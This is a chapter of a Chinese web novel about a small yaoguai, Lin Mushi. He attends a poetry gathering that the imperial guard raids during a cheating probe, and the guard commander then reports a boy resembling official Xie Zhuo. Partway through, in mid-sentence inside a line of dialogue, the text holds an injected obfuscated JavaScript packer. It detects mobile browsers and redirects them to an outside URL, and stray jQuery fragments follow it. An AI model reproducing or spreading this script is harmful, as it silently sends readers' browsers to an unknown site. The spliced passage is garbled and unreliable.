院中的梨花不知不觉间开满枝头，直至苏元霜进了考场，林暮石还是没有见到山青口中的那位谢大人。
谢府倒是去了几回，不过有钱人的府邸都找人布置了阵法，虽不一定能防住大妖，但防住他这种没什么修为的小妖还是绰绰有余。
连苏元霜这处宅邸都被布置了阵法，如若不是苏元霜作为主人出口相邀，林暮石还真不一定进去。
思绪被一道从眼前风风火火跑过的身影拉回，托着下巴坐在廊下的林暮石定睛一看，发现是自从苏元霜进了考场便日日焦虑的山青。
不等林暮石凑上去看看怎么回事。
便见院门中进来三人，宅邸的主人脸色苍白被两个人搀扶着回来了。
山青上前从一人手中接过苏元霜，对着被挤开的人吩咐道：“让人去把准备好的参茶拿来，你快去请大夫来。”
—
林暮石掐算了一遍日子，发觉今日正好是春闱结束的日子。
他站起身掸落身上的灰，跟在几人身后一同进了屋。
一碗参茶落了肚，苏元霜的脸色渐渐恢复些血色。
“你家少爷不是去参加春闱了，怎么脸色这般难看？”见山青空闲下来，林暮石出声询问。
山青边盯着给苏元霜把脉的大夫，边回应林暮石：“少爷这几日吃住都在贡院的号舍中，连热乎的饭菜都吃不上一口，你是不知道，有些身体不好的考生，前两日便被抬了出来。”
林暮石似懂非懂地点点头，莫名为自己是只妖松了口气。
大夫收回搭脉的手，“公子的身体没有大碍，不过身子有些亏空，我给公子开些补药喝上两日便好了。”
大夫背起药箱，跟着小厮出了门。
矮塌上的苏元霜脸色已然比起刚进门时好上不少，山青想起件正事，正色道：“少爷，前两日陈家的小厮送来了请帖，陈家二公子准备春闱结束后在蟾桂楼开设诗会，少爷要去吗？”
苏元霜不答，反倒将视线移向一旁的林暮石：“暮石，打听到要寻的人的消息了吗？”
被点到名的林暮石回过神，答道：“还没有。”
“既如此，不过同我一道去诗会，诗会上人多，说不定有暮石要找的人的消息。”
……
三日后，林暮石扯着身上山青准备的衣服，再次坐上了苏家的马车。
虽然还未放榜，但苏元霜已经放松下来，见到进入马车中的林暮石时，视线在少年的脸上稍稍停顿，随即挂上笑意，打趣道：
“哟，这是谁家的小郎君，长得比姑娘家还要俊俏。”
今日的林暮石一袭青衣，同他以往总是灰扑扑的衣服相比，打眼看过去亮眼不少。
平日总被他自己胡乱扎起的头发也被山青打理过，往日在额发下若隐若现的眉心红痣完全露出来。
没有什么情绪表露的脸和周身萦绕的干净气质，第一眼看去真有几分仙人座下童子的模样。
但随着林暮石开口，这份感觉很快被打破：“这身衣服穿起来好麻烦，要不我还是换回我自己的衣服吧。”
苏元霜的笑容隐隐透露出无奈，抬起手理了理林暮石扯乱的衣领：“既然已经穿上了，便穿着这身吧，要换回去还要麻烦一遍。”
苏元霜这几日也发现了，林暮石为人单纯坦诚，读书人身上适用的弯弯绕绕放到前者身上根本行不通，还不如直白点同他说明白。
—
蟾桂楼，林暮石一人待在窗旁的位置吃着主家准备的糕点，苏元霜则被人群包围在中间。
并非是众人有意孤立林暮石，而是曲水流觞和飞花令等寻乐之事对于勉强识得几个字的石头来说实在算不得寻乐。
远不如眼前的这盘糕点带给林暮石的乐趣。
至于谢大人的事，林暮石唯一从众人谈话中探听到的消息就是谢大人担任了此次春闱的主考官。
想到此，林暮石不免叹了口气，且不说参加春闱的条件，便是他真见到了那位谢大人又能如何，哪怕真见到了，他一时半会也确定不了谢大人是否就是谋害妻儿的负心郎。
林暮石又叹了口气，不再去想还没有影的事，转而垂下眼看窗前的桂树。
他进门时便发现了，蟾桂楼中摆了不少桂树，而且分明还是三月，这桂树竟然开着花。
凑近了瞧，才发现这桂树的花原来不是真的花，而是黄金白银雕刻成桂花的模样安在桂枝上。
嗅着空气中淡淡的桂花香气，林暮石寻找着摆放熏香的地方。
眼角的余光不经意撇向窗外，一群禁军打扮的人马出现在楼外。
林暮石好歹是只妖，耳力非常人可比，远远地听到为首的人吩咐了一句：“不要放走楼里的任何一个人。”
还不等林暮石理解禁军统领话中的意思，便瞧见训练有素的禁军分散开来，其中一队人马闯入蟾桂楼，剩余的则将蟾桂楼包围起来。
冲入楼中的禁军两人一组，将四散的人群赶到一起。
林暮石第一反应是想要跳窗逃走，但看着窗外包围住蟾桂楼的人群，收了心思，就算他能凭借术法跑掉，但燕京效忠皇室的能人异士不在少数，他能逃得出蟾桂楼，未必能逃得出燕京，何况他暂时不想暴露妖的身份。
“过去，往那边走。”
因此身后的禁军推攘时，林暮石顺从地按照他们的指示往院子的方向走去。
路过禁军统领方迁时，林暮石瞥见方迁见到他时，眉头微微蹙起，脸色有一瞬的变化，不过什么都没有说，淡淡看着禁军带走林暮石。
按照禁军的要求到了外院，林暮石看到了人群中的苏元霜，举起手朝后者挥了挥，手还未放下，便感受到身后传来的空气流动。
林暮石没有躲，被身后的禁军推了踉跄几步，“老实点。”
苏元霜也在此时看见刚进入外院的林暮石，轻轻摇了摇头，示意后者静观其变。
在外院中站了一盏茶的时间，其中一个禁军从后方跑上前，向方迁汇报完，“统领，人齐了。”
方迁点点头，对院中的禁军道：“都带走。”
一名商贾打扮的富态男人，看起来应该是蟾桂楼的掌柜，堆起讨好的笑，朝方迁拱拱手：“方统领，不知小店犯了什么事，值得这般大动干戈？”
方迁回过身，意味深长地看了眼王掌柜：“王掌柜，等之后自然就知道了。”
王掌柜脸色顿时变得煞白，方迁似乎是没有看到王掌柜脸上冒出的汗，复而对着禁军吩咐道：“把人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723118|173919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
押走。”
出了蟾桂宫，隔着人群，林暮石远远看见街对面的山青面露惊慌之色往苏元霜的方向奔去，却被禁军拦了下来。
蟾桂楼外人声嘈杂，不少百姓围在不远处望着蟾桂楼议论。
“哎，这是出了什么事？”
“是啊，怎么把人全带走了，我隔壁村婶子家的小子还在这做工，不行，我得先捎封信回去。”
“不会是蟾桂楼的得罪了哪位贵人吧？”
“诶，要我说，可不是得罪贵人那么简单，今天这里面被抓的可有不少举人老爷，你看那个不是陈侍郎家的儿子。”
……
纷乱的议论传进林暮石耳朵中，苏元霜和山青的谈话反倒听不真切。
只能瞧见两人仓促谈上两句话便被禁军分开，而山青远远地朝他这个方向望了一眼，转而匆匆离开。
—
方迁吩咐手下将蟾桂楼众人关押后便匆匆赶往大理寺少卿徐大人府上回禀。
被小厮领进正厅后，方迁远远便瞧见，除了徐大人外，还有一道身着绯色官服的身影端坐上首。
视线在那人脸上划过，方迁的眼神在躬身行礼时闪烁了一下：“见过两位大人。”
“方统领来得正好，刚好谢大人也在，说说我交代你的事办得怎么样了？”徐少卿挥挥手让侍者上了茶，询问道。
“今日前往蟾桂楼的人已悉数押入大牢。”方迁微垂着头，恭谨回禀，视线的余光却是扫向上首的另一道身影。
谢琢的眉心在方迁的话音落下后微微蹙起，片刻后不知想起什么，又松开来。
身旁的徐少卿注意不在谢琢身上，并未觉察，倒是座下的方迁隐晦地往谢琢身上投以视线。
“此番春闱闹出了舞弊一事，陛下震怒，这几日辛苦方统领了。”徐少卿转头望向谢琢：“不知谢大人这边查得如何了？”
“本官已将牵扯进此事的官员名单上报陛下，等陛下发落处置。”
……
三人细谈了半柱香的时间，谢琢放下茶盏，同两人告辞。
方迁的消息也已经传达完，见谢琢离开，还揣着心思的他也随即提出告辞。
从徐府出来，谢琢的马车还停在门口，方迁吩咐小厮将马迁回府上，上了谢琢的马车。
“谢大人这是在等我？”
谢琢不答，斟一盏茶推到方迁的面前：“坐。”
待到方迁落座，将杯中的茶一饮而尽，才听见谢琢的声音：“方统领可是有什么要同我说的？”
“谢大人果真心思细腻。”方迁捏着手中的青瓷小盏，仔细斟酌着接下来的话：“今日我去蟾桂楼事见到一少年郎……”
说到这，方迁顿了一下，眼睛扫向谢琢的脸：“同谢大人有六七分相似，下官查阅了那少年的户籍，发现是四水县人士，年十三，姓林。”
谢琢面上不见多余的情绪，可手中端着的茶盏中荡开一圈圈涟漪涟漪，暴露了他内心的不平静。
沉吟半晌，谢琢饮了口手中已经凉透的茶水，泛着凉意的液体顺着喉道下流，勾起丝丝苦意。
茶盏放到桌面时发出轻响，谢琢咽下喉间的苦涩，眼间一派清明：“多谢方统领，此事我会派人去调查。”